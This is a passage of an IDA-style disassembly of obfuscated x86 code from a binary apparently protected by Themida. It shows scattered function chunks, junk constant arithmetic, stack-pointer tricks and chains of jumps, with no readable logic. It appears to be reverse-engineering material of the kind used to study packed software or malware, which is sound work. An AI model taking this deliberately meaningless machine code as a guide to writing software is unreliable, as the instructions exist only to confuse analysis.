add edi, ecx
pop ecx
and eax, edi
mov edi, [esp+0]
add esp, 4
shr eax, 8
xor eax, ecx
xor eax, ebp
jmp loc_55A070
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_559BDE: ; CODE XREF: sub_553D17+5C19j
sub bl, 0AEh
shl bl, 2
jmp loc_55111F
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_559BE9: ; CODE XREF: sub_55A748-1402j
pop eax
push esi
push esp
pop esi
add esi, 4
jmp loc_555C74
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559BF8: ; CODE XREF: sub_556A70+A51j
sub edi, 6C2E8654h
xor ebx, edi
pop edi
add ebx, 0CF7C632Fh
xor eax, ebx
mov ebx, [esp-2Eh+arg_28+2]
jmp loc_55ACF5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559C11: ; CODE XREF: Themida_:00552B2Ej
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 32562840h
push ebx
not dword ptr [esp]
pop ebx
push esi
mov esi, 78BF0198h
and esi, 7CC3113Ch
jmp loc_55BD96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559C32: ; CODE XREF: sub_556A70+412Ej
push 1
pop ebp
jmp sub_554BBA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559C3D: ; CODE XREF: Themida_:00554061j
inc edx
jmp loc_5548C8
; ---------------------------------------------------------------------------
loc_559C43: ; CODE XREF: Themida_:00557D25j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add al, 11h
jmp loc_557A2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559C5A: ; CODE XREF: sub_556A70+47B1j
pop eax
xchg esi, [esp-32h+arg_2C+2]
pop esp
sub esp, 4
mov [esp-32h+arg_2C+2], esi
mov esi, 7F481A35h
sub ebx, 74627DE7h
sub ebx, 1F7E2703h
jmp loc_55A3E4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559C7B: ; CODE XREF: Themida_:00553435j
add bl, al
jmp loc_551310
; ---------------------------------------------------------------------------
loc_559C82: ; CODE XREF: Themida_:00558056j
push edx
mov edx, 740A3AC5h
jmp loc_555529
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_559C8D: ; CODE XREF: sub_552E24+9F1Bj
and eax, ebx
jmp loc_55524D
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
loc_559C94: ; CODE XREF: Themida_:00552E91j
xor ecx, 0CAAFB0ACh
xor edi, ecx
jmp loc_558535
; ---------------------------------------------------------------------------
loc_559CA1: ; CODE XREF: Themida_:005569E2j
add ebx, 1CFA3786h
shr ebx, 5
add ebx, 0FE03E3DBh
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55C770
; =============== S U B R O U T I N E =======================================
sub_559CCC proc near ; CODE XREF: sub_556A70-5856j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00551FB6 SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 72C7434Fh
push ebx
push ebp
push eax
mov eax, 57E51A56h
mov ebp, 0B965B24h
jmp loc_551FB6
sub_559CCC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559CE9: ; CODE XREF: sub_556A70-18EBj
shl edx, 8
xor edx, 6D05DA20h
jmp loc_5543C1
; ---------------------------------------------------------------------------
loc_559CF7: ; CODE XREF: sub_556A70+1AC0j
and bl, 77h
inc bl
shl bl, 1
not bl
xchg dh, bl
inc dh
xchg dh, bl
xor bl, 0AAh
xor dl, bl
jmp loc_55718B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5AF4AE
loc_559D10: ; CODE XREF: sub_5AF4AE-5EA61j
pop bx
sub al, bl
jmp sub_556A70
; END OF FUNCTION CHUNK FOR sub_5AF4AE
; ---------------------------------------------------------------------------
loc_559D19: ; CODE XREF: Themida_:0055CF6Cj
add eax, ebx
pop ebx
sub esp, 4
mov [esp], edx
push 73C3h
jmp loc_557B2E
; ---------------------------------------------------------------------------
loc_559D2F: ; CODE XREF: Themida_:0055A5C3j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_559D34: ; CODE XREF: Themida_:00555EF5j
mov ebx, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
jmp loc_55B19B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_559D44: ; CODE XREF: sub_557F09-1B5Fj
pop ebx
add esp, 4
rep movsd
jmp loc_55BFB9
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
loc_559D52: ; CODE XREF: Themida_:0055BC67j
pop ecx
add edx, 63C02701h
jmp loc_559ED7
; =============== S U B R O U T I N E =======================================
sub_559D5E proc near ; CODE XREF: sub_556A70+3965j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055399E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055546E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B27F SIZE 00000014 BYTES
push ebx
mov ebx, 4
push edx
mov edx, 167313EEh
sub edi, edx
pop edx
jmp loc_55B27F
sub_559D5E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559D72: ; CODE XREF: sub_556A70-3DE7j
push eax
push dword ptr [esp+4]
jmp loc_5583C9
; ---------------------------------------------------------------------------
loc_559D7C: ; CODE XREF: sub_556A70-2737j
mov [esp+8+var_8], edx
mov edx, 1021A29h
not edx
dec edx
jmp loc_551DD8
; ---------------------------------------------------------------------------
loc_559D8C: ; CODE XREF: sub_556A70-5A13j
pop ebp
xor esi, 7DB72222h
shr esi, 7
sub esi, 178681h
add edi, esi
pop esi
push edx
mov edx, 4
sub edi, edx
jmp loc_552F37
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559DAC: ; CODE XREF: Themida_:0055C50Aj
push ecx
mov ecx, esp
jmp loc_55637F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_559DB4: ; CODE XREF: sub_550BFD+BB9j
pop ebp
sub edx, 1D7779C4h
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
loc_559DC0: ; CODE XREF: Themida_:00553D46j
push 5604h
mov [esp], ebx
push esp
jmp loc_55C50F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B403
loc_559DCE: ; CODE XREF: sub_55B403-7CAj
mov ch, ah
push [esp-4+arg_0]
pop eax
add esp, 4
jmp loc_555B4A
; END OF FUNCTION CHUNK FOR sub_55B403
; ---------------------------------------------------------------------------
loc_559DDC: ; CODE XREF: Themida_:00554515j
sub esp, 4
mov [esp], ebx
push 4
pop ebx
jmp loc_5521E8
; ---------------------------------------------------------------------------
loc_559DED: ; CODE XREF: Themida_:005541A7j
push 2EF7h
mov [esp], eax
sub esp, 4
mov [esp], esp
jmp loc_55146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559E03: ; CODE XREF: sub_556A70+2427j
add ecx, esi
pop esi
xor ecx, [esp+14h+var_14]
jmp loc_55C661
; ---------------------------------------------------------------------------
loc_559E0E: ; CODE XREF: sub_556A70-3305j
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xor eax, [esp-16h+arg_10+2]
xor [esp-16h+arg_10+2], eax
xor eax, [esp-16h+arg_10+2]
mov esp, [esp-16h+arg_10+2]
mov [esp-16h+arg_10+2], eax
push [esp-16h+arg_14+2]
pop eax
jmp loc_554A27
; ---------------------------------------------------------------------------
loc_559E34: ; CODE XREF: sub_556A70+1203j
mov edi, esp
add edi, 4
jmp loc_55AB64
; ---------------------------------------------------------------------------
loc_559E41: ; CODE XREF: sub_556A70+F29j
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_5549D3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559E50: ; CODE XREF: Themida_:00555276j
xor bp, cx
xor cx, bp
xor bp, cx
xor [esp], bp
jmp loc_55C40F
; ---------------------------------------------------------------------------
loc_559E62: ; CODE XREF: Themida_:005597EDj
xor al, bl
jmp loc_55525B
; ---------------------------------------------------------------------------
loc_559E69: ; CODE XREF: Themida_:00551F3Aj
add ecx, 4
push 4874h
jmp loc_554BC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_559E79: ; CODE XREF: sub_552B74+CE8j
mov dx, word ptr [esp+4+var_4]
jmp loc_553729
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559E82: ; CODE XREF: sub_556A70+43E1j
pop edx
add esp, 4
or edx, eax
shl edx, 1
sub esp, 4
jmp loc_553820
; ---------------------------------------------------------------------------
loc_559E95: ; CODE XREF: sub_556A70+10Bj
sub ecx, 24B75F40h
add edi, 5434123Fh
sub edi, 79C9685Bh
jmp loc_55C032
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559EAC: ; CODE XREF: Themida_:0055812Aj
add al, bl
push ebx
mov bh, 79h
jmp loc_558B19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559EB6: ; CODE XREF: sub_556A70-2494j
push 4554h
mov [esp+0], ecx
mov ecx, 6A1A5C5Eh
push 4F12h
mov [esp+2+var_4+2], edi
mov edi, 0
sub edi, ecx
jmp loc_55C0FB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559ED7: ; CODE XREF: Themida_:00559D59j
add edx, 0D5CB5952h
sub ebp, edx
pop edx
xchg ebp, [esp]
pop esp
mov [esp], edx
mov dh, 0ECh
sub dh, 85h
push cx
mov ch, 0DEh
sub dh, ch
pop cx
push ebx
mov bh, dh
mov ch, bh
pop ebx
pop edx
add al, 6Bh
sub al, ch
sub al, 6Bh
jmp loc_554E27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A9A4
loc_559F06: ; CODE XREF: sub_55A9A4-18Aj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_556DDF
; END OF FUNCTION CHUNK FOR sub_55A9A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559F14: ; CODE XREF: sub_556A70+2C8Aj
pop esp
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559F1A: ; CODE XREF: Themida_:00550D69j
xor cl, 0A3h
xor cl, 4
add dl, cl
pop ecx
add al, 0E0h
sub al, dl
push ecx
jmp loc_5573F2
; =============== S U B R O U T I N E =======================================
sub_559F2D proc near ; CODE XREF: sub_55AE6E-13C2j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005567C3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B4B5 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055C59A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C8FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CF4E SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov bl, 20h
and bl, 7Bh
add bl, 0FFh
sub bl, 84h
add al, 76h
jmp loc_55C8FB
sub_559F2D endp
; ---------------------------------------------------------------------------
loc_559F45: ; CODE XREF: Themida_:005528ADj
mov ebp, esp
add ebp, 4
jmp loc_5549C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559F52: ; CODE XREF: sub_556A70+560j
xor edx, 62D82F29h
xor ecx, edx
jmp loc_556DA6
; ---------------------------------------------------------------------------
loc_559F5F: ; CODE XREF: sub_556A70+9FCj
xchg ebx, [esp-2Ah+arg_24+2]
pop esp
jmp loc_5511B5
; ---------------------------------------------------------------------------
loc_559F68: ; CODE XREF: sub_556A70-167Bj
push eax
mov eax, 4DC525C2h
add dword ptr [esp+4], 44F53CC9h
sub [esp+4], eax
sub dword ptr [esp+4], 44F53CC9h
jmp loc_55C7B0
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_559F87 proc near ; CODE XREF: sub_556A70-4C01j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005519C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552267 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553C1F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005557AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557E84 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00558692 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055896C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055CA0F SIZE 0000000B BYTES
push ebx
mov ebx, 18772EBBh
and ebx, 34885158h
jmp loc_55896C
sub_559F87 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_559F98: ; CODE XREF: Themida_:00554FD1j
mov ax, [esp]
push ecx
push esp
mov ecx, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 2FF43DB9h
jmp loc_552115
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559FAF: ; CODE XREF: sub_556A70+5C44j
xor ebx, edx
xor edx, ebx
jmp loc_556223
; ---------------------------------------------------------------------------
loc_559FB8: ; CODE XREF: sub_556A70+3D46j
push 4BD1h
mov [esp+8+var_8], ebx
mov ebx, 83857D9h
or ebx, 33F45D4Eh
neg ebx
xor ebx, 0C403A025h
sub edx, ebx
pop ebx
xchg edx, [esp+4+var_4]
pop esp
mov [esp+0], esi
push ebx
mov ebx, 459D531Bh
add ebx, 0BA62AD25h
jmp loc_5575C4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov eax, [esp]
push esi
push 5A7Ch
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5579E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5557A0
loc_55A003: ; CODE XREF: sub_5557A0+6CFCj
pop ecx
jmp loc_5523D2
; END OF FUNCTION CHUNK FOR sub_5557A0
; ---------------------------------------------------------------------------
loc_55A009: ; CODE XREF: Themida_:0055CF3Ej
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_55B273
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A015: ; CODE XREF: sub_556A70+223Dj
xor edi, [esp-12h+arg_C+2]
xor [esp-12h+arg_C+2], edi
xor edi, [esp-12h+arg_C+2]
jmp loc_555C4A
; ---------------------------------------------------------------------------
loc_55A023: ; CODE XREF: sub_556A70+F7Bj
add ebp, 4
push ecx
jmp sub_55265B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_55A02F: ; CODE XREF: sub_553651+1j
sub [esp+4+var_4], 1D6E757Eh
mov eax, [esp+4+var_4]
push ecx
jmp loc_5585CE
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A03F: ; CODE XREF: sub_556A70-1C57j
add edx, esi
pop esi
push esi
jmp loc_558B06
; ---------------------------------------------------------------------------
loc_55A048: ; CODE XREF: sub_556A70+29Cj
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
push esi
mov esi, esp
push ebx
mov ebx, 0DF5C58h
add ebx, 0FF20A3ACh
jmp loc_55B658
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A070: ; CODE XREF: sub_556A70+3169j
xor ebp, eax
xor eax, ebp
push 2D0h
mov [esp+0], ebp
push 5250h
mov [esp+4+var_4], ebx
push dword ptr [esp+4]
push [esp+8+var_8]
pop ebx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
pop [esp+8+var_8]
not ebx
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
pop ebp
xor eax, ebp
xor ebp, eax
jmp loc_55CE46
; ---------------------------------------------------------------------------
loc_55A0B4: ; CODE XREF: sub_556A70-36C1j
sub ebp, esi
pop esi
sub ebx, ebp
pop ebp
sub esp, 4
mov [esp-18h+arg_14], eax
jmp loc_55890A
; ---------------------------------------------------------------------------
loc_55A0C8: ; CODE XREF: sub_556A70+4B42j
pop ebx
shr ebx, 8
shl ebx, 5
jmp loc_554334
; ---------------------------------------------------------------------------
loc_55A0D4: ; CODE XREF: sub_556A70+4C75j
mov esi, [esp-1Ch+arg_18]
add esp, 4
add esp, 4
shr eax, 18h
xor eax, ecx
push edx
push esp
mov edx, [esp-1Ch+arg_18]
jmp loc_55679E
; ---------------------------------------------------------------------------
loc_55A0EC: ; CODE XREF: sub_556A70-57EDj
push esi
mov esi, 2
add edx, esi
pop esi
xchg edx, [esp-16h+arg_10+2]
pop esp
jmp loc_557CA2
; ---------------------------------------------------------------------------
loc_55A0FE: ; CODE XREF: sub_556A70+41B7j
mov [esp-1Ah+arg_14+2], edx
jmp loc_55A3DA
; ---------------------------------------------------------------------------
loc_55A106: ; CODE XREF: sub_556A70+535j
mov edi, 1C630037h
dec edi
not edi
jmp loc_550FF3
; ---------------------------------------------------------------------------
loc_55A113: ; CODE XREF: sub_556A70+6054j
push edi
jmp loc_554F0B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55A119: ; CODE XREF: sub_5584F8-78D2j
mov eax, 5DA8336Dh
push esi
mov esi, 47550417h
sub eax, esi
jmp loc_55B11A
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A12B: ; CODE XREF: sub_556A70+60ACj
mov ecx, 3A2436E6h
xor ecx, ebp
pop ebp
xor ecx, 78595942h
sub eax, 4F227992h
add eax, ecx
sub esp, 4
jmp loc_5542C4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A14B: ; CODE XREF: Themida_:0055BF1Ej
push 1AEAh
mov [esp], esi
jmp loc_558353
; ---------------------------------------------------------------------------
loc_55A158: ; CODE XREF: Themida_:00556586j
add [esp+4], eax
pop eax
push dword ptr [esp]
pop ecx
push edi
push esp
pop edi
add edi, 4
push ecx
jmp loc_5572EE
; ---------------------------------------------------------------------------
loc_55A170: ; CODE XREF: Themida_:005598C5j
pop edi
shr ebp, 5
xor ebp, 62A1D13h
mov edi, ebp
pop ebp
add edx, edi
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 45EF3C69h
sub ecx, 45EF3C65h
add edi, ecx
pop ecx
xchg edi, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
jmp loc_558247
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A1B1: ; CODE XREF: sub_556A70+22C3j
xor eax, ecx
xor eax, ebx
xor ebx, eax
jmp loc_55C6B2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A1BC: ; CODE XREF: Themida_:00556684j
xor ebp, 2E0D697Fh
xor ebp, 373A7B0Ah
neg ebp
sub ebp, 84529A0Ch
jmp loc_55B900
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A1D5: ; CODE XREF: sub_556A70+3A58j
mov eax, edi
jmp loc_557D4A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
jmp loc_550EDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A1E8: ; CODE XREF: sub_556A70-59FBj
mov bl, ch
push [esp+8+var_8]
jmp loc_55828D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550E2C
loc_55A1F2: ; CODE XREF: sub_550E2C+207Cj
push edi
mov edi, 49790FDCh
sub edx, edi
pop edi
add eax, edx
pop edx
push edi
jmp loc_5563BC
; END OF FUNCTION CHUNK FOR sub_550E2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55A204: ; CODE XREF: sub_5516F8+4AE5j
pop eax
jmp loc_55C7FE
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
loc_55A20A: ; CODE XREF: Themida_:0055158Ej
add esp, 4
jmp loc_55A8F2
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3A74h
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_550A8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A22B: ; CODE XREF: sub_556A70+1084j
mov [esp+0Ch+var_C], eax
mov eax, esp
add eax, 4
sub esp, 4
jmp loc_558958
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A240: ; CODE XREF: Themida_:005589D5j
pop edx
shr edx, 8
or edx, 0B586AAFh
add edx, 5DEADF75h
mov edi, edx
mov edx, [esp]
add esp, 4
inc edi
dec edi
push esi
mov esi, 723B14B0h
and esi, 69FA7981h
shl esi, 4
add esi, 2CB04954h
jmp loc_5525CA
; ---------------------------------------------------------------------------
loc_55A277: ; CODE XREF: Themida_:00555A6Ej
add esi, edx
jmp loc_55C74F
; ---------------------------------------------------------------------------
loc_55A27E: ; CODE XREF: Themida_:00550C5Aj
add esp, 4
jmp loc_5512A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A289: ; CODE XREF: sub_556A70+FB7j
mov ecx, 6BB01257h
dec ecx
neg ecx
sub ecx, 0D59304CFh
sub ebx, ecx
jmp loc_553A07
; ---------------------------------------------------------------------------
loc_55A29E: ; CODE XREF: sub_556A70-2450j
mov edi, [esp+0Ch+var_C]
add esp, 4
dec ecx
or ecx, 2B9D06CDh
add ecx, 38F65988h
push ebx
mov ebx, 0AB0BDE07h
xor ecx, ebx
jmp loc_558AF2
; ---------------------------------------------------------------------------
loc_55A2C1: ; CODE XREF: sub_556A70+2575j
pop eax
mov ecx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_5571CD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A2CD: ; CODE XREF: Themida_:00553ABFj
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
push 4C5Fh
mov [esp], ebx
jmp loc_551395
; ---------------------------------------------------------------------------
loc_55A2E6: ; CODE XREF: Themida_:00558551j
push esp
pop esi
jmp loc_551BBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A2ED: ; CODE XREF: sub_556A70-4D92j
sub eax, 3A8D70B0h
push [esp+4+var_4]
pop ebp
add esp, 4
jmp sub_550F53
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55A30D: ; CODE XREF: Themida_:0055CB4Fj
push esi
mov esi, esp
push edi
mov edi, 4
jmp loc_55AC6E
; ---------------------------------------------------------------------------
loc_55A31B: ; CODE XREF: Themida_:0055C2F7j
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
push edx
jmp loc_55CC2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55A32A: ; CODE XREF: sub_552B74-189Ej
push eax
mov ah, 0C7h
xor ah, 12h
jmp loc_553A60
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
loc_55A335: ; CODE XREF: Themida_:0055BF7Fj
pop edx
add al, 88h
add al, bl
sub al, 88h
jmp loc_552EDE
; ---------------------------------------------------------------------------
loc_55A341: ; CODE XREF: Themida_:00552782j
add [esp+4], dx
add word ptr [esp+4], 34D2h
jmp loc_556639
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A352: ; CODE XREF: sub_556A70+2A58j
xor eax, 151043EEh
jmp loc_557C04
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55A35C: ; CODE XREF: sub_5566B9-5530j
xchg eax, ecx
dec eax
sub esp, 4
jmp loc_55497E
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55A366: ; CODE XREF: Themida_:00554137j
inc edi
xor edi, 53C4447Ch
sub edi, 2FA5486h
sub edi, 1994C319h
jmp loc_559447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A37E: ; CODE XREF: sub_556A70-52FAj
xchg esi, edi
not esi
xchg esi, edi
push eax
push 5F76h
mov [esp+4+var_4], edi
pop eax
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+8+var_4]
pop esi
pop [esp+8+var_8]
pop esp
add esp, 4
push 3C65h
mov [esp+0], edi
mov edi, esp
add edi, 4
jmp sub_559D5E
; ---------------------------------------------------------------------------
loc_55A3DA: ; CODE XREF: sub_556A70+3691j
push esp
push [esp-16h+arg_10+2]
pop edx
jmp loc_5520C7
; ---------------------------------------------------------------------------
loc_55A3E4: ; CODE XREF: sub_556A70+3206j
add ebx, 6FC743D3h
jmp loc_55C82A
; ---------------------------------------------------------------------------
loc_55A3EF: ; CODE XREF: sub_556A70+7E5j
add esp, 4
jmp loc_55CE8C
; ---------------------------------------------------------------------------
loc_55A3F7: ; CODE XREF: sub_556A70+39j
shl ebp, 5
not ebp
not ebp
add ebp, 7CB7E3A2h
jmp loc_5552E7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push 6902h
mov [esp], eax
mov eax, 0FFFFFBFFh
jmp loc_553846
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557EBA
loc_55A41B: ; CODE XREF: sub_557EBA+28j
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 6B65h
mov [esp-4+arg_0], ebx
sub esp, 4
mov [esp+0], esi
mov esi, eax
sub esp, 4
mov [esp+4+var_4], ebp
push esi
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, 0BDA20ACh
xor [esp+0Ch+var_8], ebp
pop ebp
pop ebp
xor ebp, 0BDA20ACh
mov ebx, ebp
pop ebp
mov esi, [esp+0]
jmp sub_555F13
; END OF FUNCTION CHUNK FOR sub_557EBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A467: ; CODE XREF: sub_556A70-49ECj
add ebp, 4
xor ebp, [esp+4+var_4]
jmp loc_552564
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A475: ; CODE XREF: Themida_:0055CE01j
sub esi, 77533EBEh
pop edx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edi
mov edi, esp
push ebx
mov ebx, 136D5C5Bh
add ebx, 545719F6h
or ebx, 465F76BCh
jmp loc_55CF43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A4A9: ; CODE XREF: sub_556A70-4663j
mov [esp-14h+arg_10], eax
push edi
mov edi, 5D93116Bh
or edi, 3C3B523Bh
shr edi, 2
sub edi, 0B8578EAh
dec edi
sub edi, 1284BBDAh
jmp loc_55A1D5
; ---------------------------------------------------------------------------
loc_55A4CD: ; CODE XREF: sub_556A70+C01j
sub edx, 2F38086Ch
push eax
mov eax, 0
add eax, edx
jmp loc_551478
; ---------------------------------------------------------------------------
loc_55A4E0: ; CODE XREF: sub_556A70+39Bj
mov ebx, ebp
jmp loc_55A638
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A4E7: ; CODE XREF: Themida_:0055229Aj
push ebx
jmp loc_5520A3
; ---------------------------------------------------------------------------
loc_55A4ED: ; CODE XREF: Themida_:00558EBEj
push edx
mov edx, 4
add [esp+4], edx
jmp loc_5570DA
; ---------------------------------------------------------------------------
loc_55A4FC: ; CODE XREF: Themida_:0055CE2Dj
add ebx, edi
mov edi, [esp]
jmp loc_55A6F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A506: ; CODE XREF: sub_556A70-A59j
push ecx
